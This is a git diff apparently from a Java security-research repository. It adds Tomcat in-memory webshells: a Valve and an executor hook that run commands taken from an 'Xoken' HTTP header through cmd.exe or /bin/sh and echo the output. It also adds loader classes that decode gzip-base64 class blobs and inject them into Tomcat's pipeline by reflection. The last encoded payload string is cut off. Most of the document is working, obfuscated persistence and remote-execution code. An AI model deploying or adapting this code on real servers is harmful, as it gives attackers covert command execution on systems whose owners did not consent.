+ Map map = (Map) value; + for (Object o : map.entrySet()) { + Map.Entry entry = (Map.Entry) o; + result = getTargetObject(targetCls, entry.getKey(), breakObject, breakType, maxDepth); + if (result != null) { + break; + } + result = getTargetObject(targetCls, entry.getValue(), breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else if (value instanceof Iterable) { + // 集合的元素都要遍历 + Iterable iterable = (Iterable) value; + for (Object o : iterable) { + result = getTargetObject(targetCls, o, breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else if (type.isArray()) { + // 数组的元素都要遍历 + Object[] array = (Object[]) value; + for (Object o : array) { + result = getTargetObject(targetCls, o, breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else { + result = getTargetObject(targetCls, value, breakObject, breakType, maxDepth); + } + + if (result != null) { + return result; + } + } catch (Throwable e) { + + } + } + + return null; + } + +} diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/valve/TomcatValveExecMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/valve/TomcatValveExecMS.java new file mode 100644 index 0000000..b64f94d --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/valve/TomcatValveExecMS.java @@ -0,0 +1,86 @@ +package com.demo.memshell.exec.valve; + + +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.Response; +import org.apache.catalina.valves.ValveBase; + +import java.io.InputStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + + +/** + * @author Whoopsunix + */ +public class TomcatValveExecMS extends ValveBase { + + private static String HEADER = "Xoken"; + + public void invoke(Request request, Response response) { + try { + String header = (String) invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{HEADER}); + String result = exec(header); + invokeMethod(response, "setStatus", new Class[]{Integer.TYPE}, new Object[]{new Integer(200)}); + Object writer = invokeMethod(response, "getWriter", new Class[]{}, new Object[]{}); + invokeMethod(writer, "println", new Class[]{String.class}, new Object[]{result}); + } catch (Exception e) { + + } + + try { + this.getNext().invoke(request, response); + } catch (Exception e) { + + } + } + + public static String exec(String str) throws Exception { + String[] cmd; + if (System.getProperty("os.name").toLowerCase().contains("win")) { + cmd = new String[]{"cmd.exe", "/c", str}; + } else { + cmd = new String[]{"/bin/sh", "-c", str}; + } + InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); + return exec_result(inputStream); + } + + public static String exec_result(InputStream inputStream) throws Exception { + byte[] bytes = new byte[1024]; + int len; + StringBuilder stringBuilder = new StringBuilder(); + while ((len = inputStream.read(bytes)) != -1) { + stringBuilder.append(new String(bytes, 0, len)); + } + return stringBuilder.toString(); + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static Object invokeMethod(Object obj, String methodName, Class[] argsClass, Object[] args) throws Exception { + Method method; + try { + method = obj.getClass().getDeclaredMethod(methodName, argsClass); + } catch (NoSuchMethodException e) { + method = obj.getClass().getSuperclass().getDeclaredMethod(methodName, argsClass); + } + method.setAccessible(true); + return method.invoke(obj, args); + } +} diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/valve/TomcatValveThreadLoader.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/valve/TomcatValveThreadLoader.java new file mode 100644 index 0000000..71f362c --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/valve/TomcatValveThreadLoader.java @@ -0,0 +1,300 @@ +package com.demo.memshell.exec.valve; + + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.*; +import java.util.zip.GZIPInputStream; + +/** + * @author Whoopsunix + */ +public class TomcatValveThreadLoader { + private static String gzipObject = "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"; + private static Object object = null; + + public TomcatValveThreadLoader() { + } + + static { + try { + getObject(); + + // 获取 standardContext + Object standardContext = getTargetObject("org.apache.catalina.core.StandardContext"); + if (!isInject(standardContext)) { + inject(standardContext); + } + + } catch (Throwable e) { + + } + } + + public static boolean isInject(Object standardContext) { + try { + Object pipeline = getFieldValue(standardContext, "pipeline"); + Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", new Class[]{}, new Object[]{}); + for (Object valve : valves) { + if (valve.getClass().getName().equals(object.getClass().getName())) { + return true; + } + } + } catch (Exception e) { + + } + + return false; + } + + public static void inject(Object standardContext) { + try { + if (object == null) + return; + Object pipeline = getFieldValue(standardContext, "pipeline"); + invokeMethod(pipeline, "addValve", new Class[]{Class.forName("org.apache.catalina.Valve")}, new Object[]{object}); + } catch (Exception e) { + + } + } + + public static void getObject() throws Exception { + byte[] bytes = decompress(gzipObject); + + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + defineClass.setAccessible(true); + Class clazz = null; + try { + clazz = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); + } catch (Exception e) { + URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defMethod.setAccessible(true); + Class cls = (Class) defMethod.invoke(urlClassLoader, bytes, 0, bytes.length); + String CLASSNAME = cls.getName(); + + clazz = classLoader.loadClass(CLASSNAME); + } + Object javaObject = clazz.newInstance(); + object = javaObject; + } + +// public static void getObject() throws Exception { +// +// } + + public static byte[] decompress(String gzipObject) throws IOException { + final byte[] compressedData = new sun.misc.BASE64Decoder().decodeBuffer(gzipObject); + ByteArrayInputStream bais = new ByteArrayInputStream(compressedData); + try { + GZIPInputStream gzipInputStream = new GZIPInputStream(bais); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[1024]; + int len; + while ((len = gzipInputStream.read(buffer)) > 0) { + baos.write(buffer, 0, len); + } + return baos.toByteArray(); + } catch (Exception e) { + + } + return null; + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static Object invokeMethod(Object obj, String methodName, Class[] argsClass, Object[] args) throws Exception { + Method method; + try { + method = obj.getClass().getDeclaredMethod(methodName, argsClass); + } catch (NoSuchMethodException e) { + method = obj.getClass().getSuperclass().getDeclaredMethod(methodName, argsClass); + } + method.setAccessible(true); + Object object = method.invoke(obj, args); + return object; + } + + public static Object getTargetObject(String className) throws Exception { + List activeClassLoaders = new TomcatValveThreadLoader().getActiveClassLoaders(); + + Class cls = getTargetClass(className, activeClassLoaders); + + // 死亡区域 已检查过的类 + HashSet breakObject = new HashSet(); + breakObject.add(System.identityHashCode(breakObject)); + + // 原始类型和包装类都不递归 + HashSet breakType = new HashSet(Arrays.asList(int.class.getName(), short.class.getName(), long.class.getName(), double.class.getName(), byte.class.getName(), float.class.getName(), char.class.getName(), boolean.class.getName(), Integer.class.getName(), Short.class.getName(), Long.class.getName(), Double.class.getName(), Byte.class.getName(), Float.class.getName(), Character.class.getName(), Boolean.class.getName(), String.class.getName())); + + Object result = getTargetObject(cls, Thread.currentThread(), breakObject, breakType, 30); + + return result; + } + + /** + * 遍历 ClassLoader 加载目标 Class + */ + public static Class getTargetClass(String className, List activeClassLoaders) { + for (ClassLoader activeClassLoader : activeClassLoaders) { + try { + return Class.forName(className, true, activeClassLoader); + } catch (Throwable e) { + + } + } + return null; + } + + /** + * 获取活跃线程 + */ + public List getActiveClassLoaders() throws Exception { + Set activeClassLoaders = new HashSet(); + + // 加载当前对象的加载器 + activeClassLoaders.add(this.getClass().getClassLoader()); + + // 当前线程的上下文类加载器 + activeClassLoaders.add(Thread.currentThread().getContextClassLoader()); + +// // 应用程序类加载器 +// ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader(); +// activeClassLoaders.add(systemClassLoader); +// +// // 扩展类加载器 +// activeClassLoaders.add(systemClassLoader.getParent()); + + // 获取线程组 + ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); + Thread[] threads = new Thread[threadGroup.activeCount()]; + int count = threadGroup.enumerate(threads, true); + for (int i = 0; i < count; i++) { + activeClassLoaders.add(threads[i].getContextClassLoader()); + } + + return new ArrayList(activeClassLoaders); + } + + /** + * 递归查找属性 + */ + public static Object getTargetObject(Class targetCls, Object object, HashSet breakObject, HashSet breakType, int maxDepth) { + // 最大递归深度 + maxDepth--; + if (maxDepth < 0) { + return null; + } + + if (object == null) { + return null; + } + + // 寻找到指定类返回 + if (targetCls.isInstance(object)) { + return object; + } + + // 获取内存地址,来标识唯一对象 + Integer hash = System.identityHashCode(object); + + if (breakObject.contains(hash)) { + return null; + } + breakObject.add(hash); + + // 获取对象所有 Field + Field[] fields = object.getClass().getDeclaredFields(); + ArrayList fieldsArray = new ArrayList(); + Class objClass = object.getClass(); + while (objClass != null) { + Field[] superFields = objClass.getDeclaredFields(); + fieldsArray.addAll(Arrays.asList(superFields)); + objClass = objClass.getSuperclass(); + } + fields = (Field[]) fieldsArray.toArray(new Field[0]); + + + for (Field field : fields) { + try { + Class type = field.getType(); + + if (breakType.contains(type.getName())) { + continue; + } + + // 获取 Field 值 + field.setAccessible(true); + Object value = field.get(object); + Object result = null; + + // 递归查找 + if (value instanceof Map) { + // Map 的 kv 都要遍历 + Map map = (Map) value; + for (Object o : map.entrySet()) { + Map.Entry entry = (Map.Entry) o; + result = getTargetObject(targetCls, entry.getKey(), breakObject, breakType, maxDepth); + if (result != null) { + break; + } + result = getTargetObject(targetCls, entry.getValue(), breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else if (value instanceof Iterable) { + // 集合的元素都要遍历 + Iterable iterable = (Iterable) value; + for (Object o : iterable) { + result = getTargetObject(targetCls, o, breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else if (type.isArray()) { + // 数组的元素都要遍历 + Object[] array = (Object[]) value; + for (Object o : array) { + result = getTargetObject(targetCls, o, breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else { + result = getTargetObject(targetCls, value, breakObject, breakType, maxDepth); + } + + if (result != null) { + return result; + } + } catch (Throwable e) { + + } + } + + return null; + } + +} diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/godzilla/TomcatListenerContextClassGodzillaMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/godzilla/TomcatListenerContextClassGodzillaMS.java similarity index 100% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/godzilla/TomcatListenerContextClassGodzillaMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/godzilla/TomcatListenerContextClassGodzillaMS.java diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/ExecutorExecMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/ExecutorExecMS.java new file mode 100644 index 0000000..580743d --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/ExecutorExecMS.java @@ -0,0 +1,336 @@ +package com.demo.memshell.loader; + +import java.io.InputStream; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Method; +import java.nio.ByteBuffer; +import java.util.*; +import java.util.concurrent.TimeUnit; + +/** + * @author Whoopsunix + */ +public class ExecutorExecMS implements InvocationHandler { + private static String HEADER = "Xoken"; + private Object targetObject; + + public ExecutorExecMS() { + } + + public ExecutorExecMS(Object targetObject) { + this.targetObject = targetObject; + } + + public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { + if (method.getName().equals("execute")) { + try { + run((Runnable) args[0]); + } catch (Exception e) { + + } + } else { + return method.invoke(targetObject, args); + } + return null; + } + + public void run(Runnable command) throws Exception { + try { + String header = getHeader(); + Map headers = getHeaders(header); + String value = headers.get(HEADER); + String result = exec(value); + getResponse(result); + } catch (Exception e) { + + } + Method originalExecute = targetObject.getClass().getMethod("execute", Runnable.class, Long.TYPE, TimeUnit.class); + originalExecute.invoke(targetObject, command, 0L, TimeUnit.MILLISECONDS); + } + + public String getHeader() throws Exception { + Object nioSocketWrapper = getTargetObject("org.apache.tomcat.util.net.NioEndpoint$NioSocketWrapper"); + byte[] bytes = new byte[8192]; + ByteBuffer buf = ByteBuffer.wrap(bytes); + + try { + invokeMethod(nioSocketWrapper, "read", new Class[]{Boolean.TYPE, ByteBuffer.class}, new Object[]{false, buf}); + + String str = new String(buf.array(), "UTF-8"); + buf.position(0); + invokeMethod(nioSocketWrapper, "unRead", new Class[]{ByteBuffer.class}, new Object[]{buf}); + return str; + } catch (Exception e) { + invokeMethod(nioSocketWrapper, "unRead", new Class[]{ByteBuffer.class}, new Object[]{buf}); + } + return null; + } + + // 本质就是一个 Rce 回显 + public void getResponse(String result) throws Exception { + if (result == null || result.isEmpty()) return; + + Object targetObject = getTargetObject("org.apache.coyote.RequestGroupInfo"); + List processors = (List) getFieldValue(targetObject, "processors"); + for (int j = 0; j < processors.size(); j++) { + Object processor = processors.get(j); + Object req = getFieldValue(processor, "req"); + Object response = req.getClass().getMethod("getResponse").invoke(req); + + invokeMethod(response, "addHeader", new Class[]{String.class, String.class}, new Object[]{"Re", result}); + + // todo + // doWrite() Http11InputBuffer.java:434 报错 java.lang.IllegalArgumentException 待分析 + + return; + } + } + + public static Map getHeaders(String httpRequest) { + Map headers = new HashMap(); + + // 按照空行分隔请求行和头部 + String[] parts = httpRequest.split("\r\n\r\n", 2); + if (parts.length > 1) { + String headerSection = parts[0]; + + // 分隔每一行头部 + String[] headerLines = headerSection.split("\r\n"); + for (String headerLine : headerLines) { + // 分隔每个头部的键值对 + String[] headerParts = headerLine.split(": ", 2); + if (headerParts.length == 2) { + String headerName = headerParts[0]; + String headerValue = headerParts[1]; + headers.put(headerName, headerValue); + } + } + } + + return headers; + } + + public static String exec(String str) { + try { + String[] cmd = null; + if (System.getProperty("os.name").toLowerCase().contains("win")) { + cmd = new String[]{"cmd.exe", "/c", str}; + } else { + cmd = new String[]{"/bin/sh", "-c", str}; + } + if (cmd != null) { + InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); + String execresult = exec_result(inputStream); + return execresult; + } + } catch (Exception e) { + + } + return ""; + } + + public static String exec_result(InputStream inputStream) { + try { + byte[] bytes = new byte[1024]; + int len = 0; + StringBuilder stringBuilder = new StringBuilder(); + while ((len = inputStream.read(bytes)) != -1) { + stringBuilder.append(new String(bytes, 0, len)); + } + return stringBuilder.toString(); + } catch (Exception e) { + return ""; + } + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public Object getTargetObject(String className) throws Exception { + List activeClassLoaders = this.getActiveClassLoaders(); + + Class cls = getTargetClass(className, activeClassLoaders); + + // 死亡区域 已检查过的类 + HashSet breakObject = new HashSet(); + breakObject.add(System.identityHashCode(breakObject)); + + // 原始类型和包装类都不递归 + HashSet breakType = new HashSet(Arrays.asList(int.class.getName(), short.class.getName(), long.class.getName(), double.class.getName(), byte.class.getName(), float.class.getName(), char.class.getName(), boolean.class.getName(), Integer.class.getName(), Short.class.getName(), Long.class.getName(), Double.class.getName(), Byte.class.getName(), Float.class.getName(), Character.class.getName(), Boolean.class.getName(), String.class.getName())); + + Object result = getTargetObject(cls, Thread.currentThread(), breakObject, breakType, 30); + + return result; + } + + /** + * 遍历 ClassLoader 加载目标 Class + */ + public static Class getTargetClass(String className, List activeClassLoaders) { + for (ClassLoader activeClassLoader : activeClassLoaders) { + try { + return Class.forName(className, true, activeClassLoader); + } catch (Throwable e) { + + } + } + return null; + } + + /** + * 获取活跃线程 + */ + public List getActiveClassLoaders() throws Exception { + Set activeClassLoaders = new HashSet(); + + // 加载当前对象的加载器 + activeClassLoaders.add(this.getClass().getClassLoader()); + + // 当前线程的上下文类加载器 + activeClassLoaders.add(Thread.currentThread().getContextClassLoader()); + +// // 应用程序类加载器 +// ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader(); +// activeClassLoaders.add(systemClassLoader); +// +// // 扩展类加载器 +// activeClassLoaders.add(systemClassLoader.getParent()); + + // 获取线程组 + ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); + Thread[] threads = new Thread[threadGroup.activeCount()]; + int count = threadGroup.enumerate(threads, true); + for (int i = 0; i < count; i++) { + activeClassLoaders.add(threads[i].getContextClassLoader()); + } + + return new ArrayList(activeClassLoaders); + } + + /** + * 递归查找属性 + */ + public static Object getTargetObject(Class targetCls, Object object, HashSet breakObject, HashSet breakType, int maxDepth) { + // 最大递归深度 + maxDepth--; + if (maxDepth < 0) { + return null; + } + + if (object == null) { + return null; + } + + // 寻找到指定类返回 + if (targetCls.isInstance(object)) { + return object; + } + + // 获取内存地址,来标识唯一对象 + Integer hash = System.identityHashCode(object); + + if (breakObject.contains(hash)) { + return null; + } + breakObject.add(hash); + + // 获取对象所有 Field + Field[] fields = object.getClass().getDeclaredFields(); + ArrayList fieldsArray = new ArrayList(); + Class objClass = object.getClass(); + while (objClass != null) { + Field[] superFields = objClass.getDeclaredFields(); + fieldsArray.addAll(Arrays.asList(superFields)); + objClass = objClass.getSuperclass(); + } + fields = (Field[]) fieldsArray.toArray(new Field[0]); + + + for (Field field : fields) { + try { + Class type = field.getType(); + + if (breakType.contains(type.getName())) { + continue; + } + + // 获取 Field 值 + field.setAccessible(true); + Object value = field.get(object); + Object result = null; + + // 递归查找 + if (value instanceof Map) { + // Map 的 kv 都要遍历 + Map map = (Map) value; + for (Object o : map.entrySet()) { + Map.Entry entry = (Map.Entry) o; + result = getTargetObject(targetCls, entry.getKey(), breakObject, breakType, maxDepth); + if (result != null) { + break; + } + result = getTargetObject(targetCls, entry.getValue(), breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else if (value instanceof Iterable) { + // 集合的元素都要遍历 + Iterable iterable = (Iterable) value; + for (Object o : iterable) { + result = getTargetObject(targetCls, o, breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else if (type.isArray()) { + // 数组的元素都要遍历 + Object[] array = (Object[]) value; + for (Object o : array) { + result = getTargetObject(targetCls, o, breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else { + result = getTargetObject(targetCls, value, breakObject, breakType, maxDepth); + } + + if (result != null) { + return result; + } + } catch (Throwable e) { + + } + } + + return null; + } + + public static Object invokeMethod(Object obj, String methodName, Class[] argsClass, Object[] args) throws Exception { + Method method; + try { + method = obj.getClass().getDeclaredMethod(methodName, argsClass); + } catch (NoSuchMethodException e) { + method = obj.getClass().getSuperclass().getDeclaredMethod(methodName, argsClass); + } + method.setAccessible(true); + Object object = method.invoke(obj, args); + return object; + } +} diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/ExecutorThreadLoader.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/ExecutorThreadLoader.java new file mode 100644 index 0000000..013e58e --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/ExecutorThreadLoader.java @@ -0,0 +1,306 @@ +package com.demo.memshell.loader; + + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.*; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.*; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.Executor; +import java.util.concurrent.TimeUnit; +import java.util.zip.GZIPInputStream; + +/** + * @author Whoopsunix + * ExecutorMS 8 + */ +public class ExecutorThreadLoader { + private static String gzipObject = "H4sIAAAAAAAAAK1aCXhU1fU/583yZnnZJpnAhH1RkklCNEjUYVF2gklAgoSA25BMkoHJTJxMECittaLV2tranda21C7pYlugOgQRSm1Fa9XW1tq61u52t3ZxqZj/79z3Mswkw9Lv+/Nl3rvv3nPPPefc31nu/Xj07fuPEtEFWo2Hynmpmz7Cyzy8nFe4eKWHCrlR51UedF6mc5P0N8tHizxWC+0aL93Ml+u8Vnpa5bFO+Fyh83o3dXCbzhs85ON2nTd68L3JTWV8pYuvEsqrPTSZr3HxtW7qEcqwB+/NMtIhI50ujogEXfLR7eIe+Yi6eIuLHhOirTrHvBTkXnnEXfSIix5yccLFfTpf56HzeamLkzKn38UpeQ+4eJuIe72Lt3t4B++Uzne4eJe83+nid7n4Bhe/28U3evg9fJM8dnv4Zr5FVnuvi2/V+TYPreClHn4f3y6T3i+fH5DHHULzQQ/dyJeLvh+S1p06f1g+PiJjH5XHx3T+uIeuEA47+BMeCvMn5XOPG602IV3hps3c5qZOeUTk0SWPbjHPp3T+tM536fwZnT+r8+d03qvz5z18N39BmHzRQ9v5S7LKl8Ugg17+Cn9VHl/T+evC+x6dvyHvb3r5W7xHqPfJY7+HD/C3db5X3vfpnPbQTmHm44PCdkhah6RvqTzu1/mwvB/QeYroeETno2LT7wjTQZ2PeelW/q48HtT5e166nQeFwfd1Uu+HdD4uKLrTxQ/r/IjOP2Byrly2aOmytUy+pi3hbeG6WDjeXdeaSkbj3fOYjFQ42R1Jrd68JdKRyqUx+0DjnB+NR1MLmWyVVeuZ7EsSnRGmoqZoPNIy0Ls5klwX3hyLyORERzi2PpyMyrfVaU/1RPuZqpo6Er11nZHeRF1vpLe/JxKL1cUS4c5Ism7Z9kjHQCqRlHdzK9bzV46VQhZ2RuPbElvBszUPQVZPMtIVQ1ddcyTVk+ictykPt3xqOvqSie07sEyvmsdUcWqe0At2g16lebgzFbSmwh1bm8N9yghwbSbPsu0dkb5UNBHHLFtyIM40LluNtQPxuBCbmvZExDRMutnoF3Mr2oFUNFYHxiLvtnBsANZwJiP9AzFsng4T94bjkLwsH2PwSCSj3dF4OGaaHHPLc7dsR9/Its3NXW7+WOyM7VmIJdwA00pL+LLKqnyQs/WnMMhYxJ81nDEPKIrj0URromNrJNWWDPf1CS/H5h2pCMygbVoMDpsHujKzQVu3GIOLB7q6Isl5CvYbdTqKgMfkhThrI/19sHpkFLAsecTcbux8R6S/P5GUrYlcx+RKZibxFvwasYEZIohRnGWepmh/CsvGQJJRHiQz8i02ZhM95ga3hHuxlNf8WG/uq/W1JpxMjQZaxpbWdHFFoM78aAUGYccMAxnsl69Uqm9t5LqBSH9KwC5skVgQYHR6CjZojXbHw6mBJBg1nln0swaEPQKsMZ17apa5Gnmj8b6BFD4j4d7MHmOLG092i97CdQT3to5eYN4rXdeM9FVV5p2ZH5CxCKxV0K++Fw9EYwq9gTGk1hD2+jadH8UMbPfyaCTWaW3YRacPS3m0zgQMW2IzYObuEm4mFhyqnSvGSBBSi2KWa0QApoXZay+Jhfv7z7D0aF5aZDvT1CyClkTrQEePGs72TUdHLLxzJ1PJmPVyw47qmx9cCGutR1JDrmZaNEZIIfjf5CyCzutyctaZoJUxsrtDljTN6wvDSbZFlBBNCctlbR0xcZTNgMrWEe6lWbhfGe7vaY0oVopG4qWkttxYMH+0kiZ/5Q2zxnLL40lCWZjRU/FARM6j5ugo